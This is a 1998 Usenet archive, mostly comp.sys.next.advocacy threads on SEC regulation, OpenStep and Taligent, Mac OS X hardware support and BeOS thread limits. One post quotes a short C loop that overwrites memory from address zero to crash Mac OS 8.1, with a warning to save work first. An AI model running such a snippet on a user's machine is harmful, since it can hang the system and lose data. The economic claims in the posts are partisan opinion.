>selves. Under the SEC, they have no conflict. As part of the privilege
>of being able to trade stock, they accept the rules made by the SEC.
Oh, please. You think that people refuse to cheat because they are
afraid of the SEC, but are not afraid to cheat because they are afraid of
being put out of business and possibly punished severely by private
courts.
>>>Should people be able to abuse knowledge they get under strict confidence?
>>Please elaborate on this point, and explain why the Statist SEC is a
>>better solution to exchange regulation.
>
>Above.
You still haven't explained why this is superior.
>
>And some areas of the market have been self regulated for years. In
>those areas, the govenment has stayed out of the way.
Yeah, _right_. If you believe that Leviathan has left any business
alone, has kept it's damn meddling 6-million rules from being a collossal
burden on any business small or large, then I have a bridge in NYC to
sell you.
>
>>>> Therefore, if a
>>>>company wants to be traded on a reputable exchange, they will comply with
>>>>exchange rules.
>>>What keeps these exchanges honest?
>>Reputation.
>
>>You do realize, for example, that the NYSE has much higher standards than
>>the NASDAQ pink sheets. Now why do many companies want to be listed on
>>NYSE? Reputation.
>
>LOL. In the early '80s it was very well know that the "hot" houses on the
>street were dirty and traded on insider info. They had a reputation for
>making money, and that was enough to get people to write out checks for
>them.
A brokerage house is not an exchange.
>
>> Are you aware of the phenomena
>>>called "the prisoner's dilemma"? What would keep a short sided person from
>>>abusing investor confedence to make a quick kill in the market?
>>The exchanges have a vested interest to keep unreputatable firms off
>>their exchanges.
>
>Crock. They have a vested interest in making money.
Yes, which is why they do not want to bankrupt their clients through
deception, any more than the local store wants to poison its shoppers.
Both are very bad for reputations.
>
>>Government advocates always claim every improvement is a result of their
>>meddling.
>
>I've never claimed this.
You implied that the improvement in the financial markets was because of
government regulation.
>>>then blind faith in anything else? I think a middle of the road system
>>>with a lot of checks and balances will serve the majority better then a
>>>system that leans to any one side.
>>Libertarians do not have blind faith in "the free market".
>
>Then why do you want to get rid of the system of checks and balances?
You snipped my answer away.
Government is not about "checks and balances". That is horse-dung. If
government was about "checks and balances" then it would not have grown
from 3% of GNP to 30%, taxes rising to become the largest item in the
family budget, larger than food and shelter combined.
>
>> We believe
>>that the social instruments of voluntary exchange and cooperation are
>>superior to the gun, stick, baton, coercion, making others do what you
>>wish them to do.
>
>Then why do Libertarians advocate owning guns for self defense? Perhaps
>you could use the instruments of voluntary exchange and cooperation when
>someone attempts to rob you.
Except that defending yourself from criminals is morally different than
forcing your neighbor to give you money for "social projects", or keeping
him at gunpoint from practicing sexual behaviors you disapprove of, or
sending his son off to die in a war 10,000 miles away, or keeping him
from using his land at all because some animal species or other lives on
it.
>
>> We feel everyone is better off under systems where
>>people do what they choose to do in their own best interest instead of
>>systems where a small group of people use force to control others
>>behavior against their will.
>
>That isn't Libertarianism, that is anarchy. (Or despotism if you maintain
>the concept of private property)
Yes, you are correct, many of us see libertarianism as leading to
anarchy. If by anarchy you mean society without government.
>>>Take a look at the events leading up to the great depression.
>>You mean the massive government injection of liquidity into the market
>>right before the crash, and the foolish removal of liquidity during the
>>crash, exacerbating and deepening its effects?
>
>No, the run on the banks. The irresponsible actions of then unregulated
>exchanges.
>
>Then take a look at how goverment action (and deficit spending) pulled
>the economy out of the great depression.
>
>>>at some of the stock fixing that has gone on in the unregulated exchanges
>>>of the former Soviet block nations. If you want URL's or ISBN numbers I'll
>>>get them for you.
>>So brand new capitalists who just left a socialist system tend to be
>>rubes? This is a surprise to you?
>
>There are plenty of rubes in the US as well. Do you believe that I have a
>right to sell them on a pyramid scam?
You mean like Social Security(sic)?
> Or sell them 200% of a bogus company?
Why, that would be fraud.
You ought to be sued and probably punished as well.
>
>>They will learn, if they continue to
>>have a reasonable level of freedom in their country.
>
>The WSJ had a well done article on how much better off the former Soviet
>block nations if they implemented the same kind of exchange and accounting
>regulations that the west has.
Given that the Russian government has laws on the books making it a
criminal offense to be a capitalist (ie tax rates over 100% on some small
businesses), I think the Russians had best keep their government away
from their exchanges.
A number of foreign equity trading houses
>refuse to deal with Russian companies untill they have an equivalent of
>the SEC.
Well, I wouldn't do business in Russia either until I see evidence that
the government is not going to try to reimplement socialism.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 20 Jul 1998 23:47:02 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6p0ktm$faa$1@camel29.mindspring.com>
References: <slrn6r6m6e.9fc.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <slrn6r6m6e.9fc.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>>as the government
>>usurps personal responsibility in the name of mythical and somehow
>>eulsive 'safety'.
>
>Why should someone be allowed to sell food that would make someone
>sick?
Any food can make someone sick. We need a higher standard than that.
Now if you are talking about e-coli contaminated food, well anyone
selling contaminated food that makes someone sick should be sued, and if
someone dies then involuntary manslaughter ought to apply as well, or
even murder if the tainting was deliberate.
> How much do you know about food safety?
Quite a bit.
Natthew Cromer
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OPENSTEP vs. Taligent (Re: Apple houses licensing company for Taligent patents?)
Date: 20 Jul 1998 23:55:27 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <900978926.987177@kelp.mbay.net>
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com> <6otg65$25pc$1@piglet.cc.uic.edu> <6ott0v$apk$1@ash.prod.itd.earthlink.net> <UXAs1.1037$E5.5742353@proxye1.san.rr.com>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
In article <UXAs1.1037$E5.5742353@proxye1.san.rr.com>,
Ed Deans. <eadeans@san.rr.com> wrote:
>...I'd like to see someone compare OPENSTEP with
>what Taligent shipped. Note "cpConstructor" (Taligent's equivalent to
>Interface Builder, AFAIK, doesn't have the docs on-line).
They were demoing it at ObjectWorld 94 or 95. It was pretty bad compared
to OpenStep. Among the problems on the AIX version demoed:
the demo machines had 256 (512?) MB of memory and fast processors. That
sort of configuration is questionable even today, and back then was
absurd.
The UI wasn't anything to write home about. Flashing color maps and
all the other X baggage.
The programming tools were worse than NeXT's at the time; for that matter,
worse than NeXT's of four years previously. cpConstructor
was generating code, rather than NeXT's IB's freeze-dried objects.
Everything was klunkier than working with PB/IB. They quoted several
_thousand_ classes, compared to a much more reasonable number under
OS.
Basically, it was harder to work with than OpenStep, required more
resources, and had an even smaller installed base. Not a very
compelling proposition.
--
Don McGregor | "You want me to read a script, I'll read it."
mcgredo@mbay.net | --Peter Arnett
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: a new os for the rest of us?
Date: Mon, 20 Jul 1998 19:04:24 -0500
Organization: Prairie Group
Message-ID: <MPG.101d97048af1ad8b9899ce@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <macghod-1907982258410001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9672b7547519899c9@news.supernews.com> <6p0e24$3bd$2@nnrp03.primenet.com>
In article <6p0e24$3bd$2@nnrp03.primenet.com>, jjens@primenet.com says...
> Donald Brown <don.brown@cesoft.com> wrote:
> : Depends. What apps will it run? I know Office doesn't run on it, how
> : close is the equivalence? Does the office-equivalent have the same user
> : interface? It's not the UI of the finder that matters, it's the UI of
> : the apps, and the consistancy of the apps.
>
> I would think you wouldn't want Office on your new OS. You could end up
> on the needle like Apple is. Apple got hooked on Office early on, and now
> needs a fix from Microsoft every now and then to keep them going. It's
> not a good thing when your competetor is also your supplier.
If I want to sell computers to businesses, I sure as hell want Office.
Or an equivalent word processor/spreadsheet/etc. combo. That needs to be
able to read and write the files that everyone else is using (MS-Office).
And (the point of my posting) does your combo have the same user
interface as the pretty finder that was suggested to be put on Linux? A
cool UI in the finder isn't enough, it has to be consistant through the
apps that run on the UI.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Advocacy BloodDrive Update
Date: Mon, 20 Jul 1998 19:05:56 -0500
Organization: Prairie Group
Message-ID: <MPG.101d976380987cb19899cf@news.supernews.com>
References: <MPG.101c7bc9a5a016729899c5@news.supernews.com> <macghod-1907982246160001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9e22c0037309899ca@news.supernews.com> <35B3A53B.D5BDFD97@rauland.com>
In article <35B3A53B.D5BDFD97@rauland.com>, edwin.thorne@rauland.com
says...
> I donated blood on July 8th. Am I eligible to vote?
>
> Edwin
Nope, the donations go forward. But, you can donate again before it's
over on August 9th, can't you?
Donald
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 00:05:43 GMT
Organization: I don't think so
Message-ID: <slrn6r7n34.16k.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>> Want prof?
Only if she's cute.
>>Try this on your "stable 8.1":
>> main() {
>> long*addr=0;
>> while(1) {
>> *addr++=1;
>> }
>> }
>>
>> Don't forget to save any unsaved work before....
>BFD.
No, it is a big deal if there's a bug in your Microsoft (or Netscape)
program (or any other program).
>Try this:
>fdisk
As root - only. A sensible user doesn't do day-to-day stuff as root.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 20 Jul 1998 19:06:38 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2007981906390001@castle.webis.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <alex-1907982052110001@castle.webis.net> <6ounr5$dj8$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 21 Jul 1998 00:06:37 GMT
In article <6ounr5$dj8$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
: In article <alex-1907982052110001@castle.webis.net>,
: alex@webis.net (Alex Kac) wrote:
:
: > Then buy an Amiga. That's the only machine I've ever had (PCs, Macs,
: > UNIXen) that can do what you ask for. It could run a 320x240 game in one
: > screen while printing out a catalog in another 640x480 screen on one
: > monitor.
:
: I've never see a flavor of UNIX that couldn't do all of these things. Even
: Windows NT and 95 allow you to do this.
I've never seen a game as was originally talked about playable under
Windows where you could do other things as well. Show me Quake II running
at the same time as a scan or an FTP download under WinNT or Win95.
Without stalling. The Amiga didn't have Quake II, but it did have lots of
games that were full screen arcade games that worked great with
multi-tasking. I cannot say the same for Windows NT/95.
UNIX doesn't have those types of games. At least not many. However, I know
that UNIX perfectly capable of it.
Finally, show me a current computer that can have multiple "screens" on
one monitor with each "screen" having different resolutions? This is
necessary for what we are talking about.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 20 Jul 98 17:06:45 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1D929AE-A3562@206.165.43.162>
References: <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 21 Jul 1998 00:06:14 GMT
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonas Palm <Jonas.Palm@orgk1.lu.se> said:
>And yes, I would be better off on the wintel platform as far as OS
>support goes. The lead programmer of our software company got himself a
>PPro 200 slightly less than two and a half years ago. He can obviously
>run the latest Windows and NT versions, and will likely be able to do so
>for at least another few years. Faced with the same decision I bought a
>7300 last autumn. It sure seems my hardware won't have the same support.
I bought a 7300 about 3-4 months ago in order to do MacOS 7.x, MacOS 8.x,
Rhapsody and BeOS development. I *assumed* that the ability to run
Rhapsody, the basis for the next-generation OS from Apple, would give me
the ability to run the next-generation OS from Apple.
I was wrong.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 20:07:04 -0400
Organization: none
Message-ID: <id_est-2007982007050001@192.168.1.3>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
>
> The improvements I have in mind are not necessarily the best. I do not
> have a monopoly on good ideas (or bad ones either ;). I am just saying
> that there are problems with many facets to the Mac OS that _could_ be
> addressed. Apple seems to be addressing some of them with Mac OS 8.5 and
> such, but there are a lot left that need to be better done before I think
> they can say that they have the best UI in the world and be proud of it.
>
> It's not a very flattering thing to say "It's better than Windows".
>
> That's like saying "it's prettier 'n dog vomit."
At the moment I think the Mac interface is better than anything else out
there but it is not THAT much better. There are areas in other OS's that
are better and there is a lot of room for improvement. If the the Mac is
too survive it needs to be more than better. It needs to be *compellingly*
better and improving. It should also be more flexible to better fit
particular users.
By the way I like those menus in terms of funtion and flexiblity. Just of
of curiousity do you believe a menu should be tied to the upper left hand
corner? or moveable (a la windows 95 taskbar)
> Apple has largely sat on its hands while others expand and enhance their
> UIs. While I believe that other facets of the Mac OS tend to make up for
> this lack, PMT for example is something that _does_ affect the way users
> interact with the computer. Apple has been futzing around with doing that
> for a long time now.
This is fairly true, Apple has made minor changes to the UI over the
years. System 7 was a huge step forward (aliases, disclosure triangles,
Apple Menu folder, control panels folder, multifinder, etc) from 6, but
that was 8 years ago. 7 to 8 was a much more minor change in terms of
functionality (spring loaded folders, tabbed windows draggable border
areas, etc).
One of the things that I think encourages windows users has been that
they see constant major improvements over the years in the interface.
Granted coming from such and abysmal base (if you ever saw Windows 1 and
2...scary stuff) there wasn't much direction to go but up but 3.1 was much
better and 95 even better still. 98 has some improvements (you can finally
navigate UP the hierarchy) but MS seems to be going off the tracks with 98
as well. Macs have not seen as dramatic an improvement because they
started from a much higher base but there is still a lot of room for
improvement.It would be nice to imagine the same kind of improvement
happening on the mac.
From: brianb1@home.com (Brian Barjenbruch)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: a new os for the rest of us?
Message-ID: <brianb1-2007981907550001@cx31002-a.omhaw1.ne.home.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <macghod-1907982258410001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9672b7547519899c9@news.supernews.com> <6p0e24$3bd$2@nnrp03.primenet.com> <MPG.101d97048af1ad8b9899ce@news.supernews.com>
Date: Tue, 21 Jul 1998 00:07:25 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 17:07:25 PDT
Organization: @Home Network
> If I want to sell computers to businesses, I sure as hell want Office.
> Or an equivalent word processor/spreadsheet/etc. combo. That needs to be
> able to read and write the files that everyone else is using (MS-Office).
ClarisWorks.
Does everything that Office does, at about 1/20 the price, with the added
advantage that it's not Microsoft...
-- Brian
---------------------------------------------------------------------
A young man wants cold cereal and a hot wife.
An old man wants hot oatmeal and a warm comforter.
Middle-aged men want a hot wife and get cold comfort.
---------------------------------------------------------------------
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 20 Jul 1998 19:11:12 -0500
Organization: Prairie Group
Message-ID: <MPG.101d989f3ec95a0a9899d2@news.supernews.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <35B197CE.127040FE@cloud9.net> <gmgraves-1907981335060001@sf-pm5-7-71.dialup.slip.net> <6ouck3$fn5$1@hecate.umd.edu>
In article <6ouck3$fn5$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu says...
> I'll vouch for George. He's a hard nosed MacAdvocate. He's definitely
> no "Intel Troll".
>
I'm withholding judgement until I get his vote in the Advocacy Blood
Drive. (Yes, there are no depths I won't sink to, to push drive <grin>.)
Donald
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 00:12:54 GMT
Message-ID: <6p0me6$qrb$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu>
In-Reply-To: <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu>
On 07/20/98, Tyler Riti wrote:
>On 20 Jul 1998, John Jensen wrote:
>
>> Kenneth C. Dyke <kcd@babylon5.jumpgate.com> wrote:
>> : But it's not a single app, and it's not just onscreen windows.
It's
>> : the total number of onscreen and offscreen windows in the entire
>> : *system*.
>>
>> Ken, you seem to know a lot about this problem. Tell me, is the
>> problem "locked-in" by API definitions or some such ... or is it
>> simply a problem with the current implementation?
See below. It's only partly an API 'problem', or lack of one in this
case.
>Forgive me for jumping in late, I leave for the weekend and suddenly
>c.s.b.a has been flooded with cross-posts. Anyways, how did Mr.
> Kenneth Dyke arrive at the conclusion that the BeOS had a limit on >
>the number of windows?
The first time I ran into it was when I tried seeing what would happen
if I did something 'stupid' and opened up a lot of windows, causing my
system to effectively hang. Actually, it only sorta hangs, but you
can't bring up any more menus, etc.
>AFAIK, in the BeBook, it doesn't mention any sort of limit. The
>only thing I can think of is the limit on the number of threads which
>is somewhere around 4096, IIRC. Since each window spawns its own
>thread, theoretically, there is a limit of 4096 windows. In reality,
>that isn't true since there are most likely other threads running at
>any given time.
There can be 4096 threads in the system as a whole, but any given team
can only have so many threads before it runs out of VM space.
The limit (as has now been explained countless times) is because the
app_server in BeOS runs out of virtual memory space it can allocate for
the stack space for new threads. Each thread in BeOS currently uses
256K of virtual memory space (sparsely allocated, mind you), and there
is only a fixed amount set aside in each team's memory space for stack
allocations. So somewhere between 200 and 300 threads is the current
limit for any single team.
The 'right' fix is to simply allow the programmer to specify the
desired stack space for new threads, or to at least allow a programmer
to allocate his own stack (which I suppose you could do now if you were
tricky about it.) This would also help with some software that tends
to chew a lot of stack space, such as gcc. I think Fred Fish ran into
problems with the default stack size being too small for gcc to work
for really complex stuff.
>Even still, it's probably just a simple matter of the Be engineers
>increasing that number or implementing a variable array that resizes
>itself.
Actually, in this case it's just a matter of allowing more control over
thread setup, which seems simple enough to me. I'm not sure why it
hasn't been done yet, since this problem was reported at least as far
back as DR8 or so. It (or a related bug) got marked as 'will not fix'
if I remember right. You can draw your own conclusions from that I
guess.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: a new os for the rest of us?
Date: 21 Jul 1998 00:18:00 GMT
Organization: Primenet (602)416-7000
Message-ID: <6p0mno$5si$1@nnrp03.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com>
<MPG.101c7d4f5307a6f09899c6@news.supernews.com> <macghod-1907982258410001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9672b7547519899c9@news.supernews.com> <6p0e24$3bd$2@nnrp03.primenet.com> <MPG.101d97048af1ad8b9899ce@news.supernews.com>
NNTP-Posting-Date: 21 Jul 1998 00:18:00 GMT
Donald Brown <don.brown@cesoft.com> wrote:
: If I want to sell computers to businesses, I sure as hell want Office.
: Or an equivalent word processor/spreadsheet/etc. combo. That needs to be
: able to read and write the files that everyone else is using (MS-Office).
I just wanted to share my heroin analogy. It occurs to me that Mac might
be better off if they'd said "it ain't done while Word will run".
: And (the point of my posting) does your combo have the same user
: interface as the pretty finder that was suggested to be put on Linux? A
: cool UI in the finder isn't enough, it has to be consistant through the
: apps that run on the UI.
Gnome and KDE hope to have consistant UIs. They are even trying to share
toolbar icons across applications. That is an improvement in consistency
over the mess of "similar" toolbars found on many platforms. But, Gnome
and KDE aren't done yet so much of the consistency remains to be seen.
John
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 20:26:15 -0400
Organization: none
Message-ID: <id_est-2007982026160001@192.168.1.3>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu>
In article <6p0aht$mrk$1@nntp6.u.washington.edu>,
gwangung@u.washington.edu (R. Tang) wrote:
> In article <6p07rq$gn5$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca>
wrote:
> >Then they shouldn't have said that they would do it. Their incompetance is
> >hardly my problem. And I don't believe that Apple can't port Mac OS X to all
> >the PowerMacs.
>
> Neither does Apple.
>
> The part people keep forgetting to mention is under what time
> frame using what kind of resources.
>
> Give 'em five years and another few hundred people, and there's
> probably no question they could do all PCI Macs.
>
> But in two years?
Two Years? Where did that come from? Apple is setting a much tighter
deadline than that. They are talking about release to developers in around
6 months or so and to the public 6 months after that. It is important to
remember that the version that goes to developers has to be stable and
pretty much feature complete, because the next six months is mainly for
developers to get apps ported to OS X. I think Apple would like there are
lots of apps to show for the "the big rollout". OS X with no ready
(especially big name commercial) apps leaves with the same problem that
Rhapsody had (no serious support from the Microsofts and Adobes of this
world). They can't release a beta to developers, have them start porting
and then change then radically change the fearure set half way through and
expect these companies to have apps ready to go in time.
So they have 6 months to get this thing up and running on 3 families
(G3, G3 powerbook, iMac) and at least 2 more families ( "consumer laptop"
and successor to G3 desktops), maybe more depending on how ambitious the
hardware plans are. These new machines will probably have things like USB,
Firewire, AGP, 64 Bit PCI etc that are fairly new areas for Apple, Oh and
did I mention you have 6 months. The whole thing sounds pretty ambitious
to me. It may be possible to bring in the pre G3 pci macs within a
reasonable time if things go well. But I don't think Apple wants to
promise something it can't deliver, we have all had enough of that.
I think the reason for the G3 announcement this far ahead of time is
basically to tell people if they are considering buying a new machine then
to go with the G3. Not to try and force people to dump new machines for
G3's. I don't know what will happen in the next 18 months. I will wait
then until to lambast apple about orphaning my machine. (I have and 8500)
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 19:29:41 -0500
Organization: Prairie Group
Message-ID: <MPG.101d9ceeeab350e89899d4@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com>
In article <6p07rq$gn5$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
says...
> In article <MPG.101c7d4f5307a6f09899c6@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > "Thanks for expressing your concern, Madam. The salesman has been fired
> > and the manager has committed hari kari. Will that be sufficient for
> > you?"
>
> "Yes, after you fetch me the drink that I asked for."
>
> > Unfortunately, there are things that are prohibitively expensive and
> > difficult. Apple's survival is at stake. If Apple doesn't pull this
> > off, I don't think they've got another choice.
>
> Then they shouldn't have said that they would do it. Their incompetance is
> hardly my problem. And I don't believe that Apple can't port Mac OS X to all
> the PowerMacs.
Given an infinite amount of programming and testing resources? Yes, they
could. To do it in six months with the greatly restricted resources
Apple currently has? I don't believe so, and I'll take the word of those
I know inside Apple that it wasn't.
OS-X is a gamble. It's a hell of a project to pull off. The survival of
the company depends on it.
If you were convinced that Apple had a 50% chance of completely going
down the tubes if they try to expand OS-X to cover all PowerMacs, would
you ask them to do so?
Donald
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <slrn6r6m6e.9fc.sal@panix3.panix.com> <6p0klo$jcu$1@camel29.mindspring.com>
Distribution: world
Message-ID: <35b3e3d7.0@news.depaul.edu>
Date: 21 Jul 98 00:41:59 GMT
Matthew Cromer <matthew_cromer@iname.com> wrote:
> Oh, please. You think that people refuse to cheat because they are
> afraid of the SEC, but are not afraid to cheat because they are afraid of
> being put out of business and possibly punished severely by private
> courts.
Being put out of business isn't a problem. You can quickly
and easily form a new company. With enough layers of obscuring
corporate ownership, you can conceal and protect quite a bit.
Even if you track them down, you'll probably get nothing
out of them.
A cheating firm can quickly and easily slip out of one
corporate identity and into another, and resume fleecing
people. Quite possibly without changing parking spaces.
Many cheating companies aren't remotely concerned about
their reputations. If they intend to stick around, rather
than folding, they can gag an offended customer as part
of a settlement, thus protecting their reputation.
> >
> >And some areas of the market have been self regulated for years. In
> >those areas, the govenment has stayed out of the way.
> Yeah, _right_. If you believe that Leviathan has left any business
> alone, has kept it's damn meddling 6-million rules from being a collossal
> burden on any business small or large, then I have a bridge in NYC to
> sell you.
Damn good thing they 'meddle'.
<snip>
> >
> >Crock. They have a vested interest in making money.
> Yes, which is why they do not want to bankrupt their clients through
> deception, any more than the local store wants to poison its shoppers.
> Both are very bad for reputations.
Reputations can be spared easily, through PR, gag agreements, payoffs,
or simply by tying a case up in court.
Most of the corporate reputations that have been ruined have
been ruined due to the action of regulating agencies, not due
to individual civil suits.
> >
> >>Government advocates always claim every improvement is a result of their
> >>meddling.
> >
> >I've never claimed this.
> You implied that the improvement in the financial markets was because of
> government regulation.
Define 'improvement'. If you mean their performance, no. If you mean
the ability to be pretty sure you're not going to be ripped off,
yes. If you mean that it's less likely that we'll see a major
depression, yes that's an improvement.
<snip>
> You snipped my answer away.
> Government is not about "checks and balances". That is horse-dung. If
> government was about "checks and balances" then it would not have grown
> from 3% of GNP to 30%, taxes rising to become the largest item in the
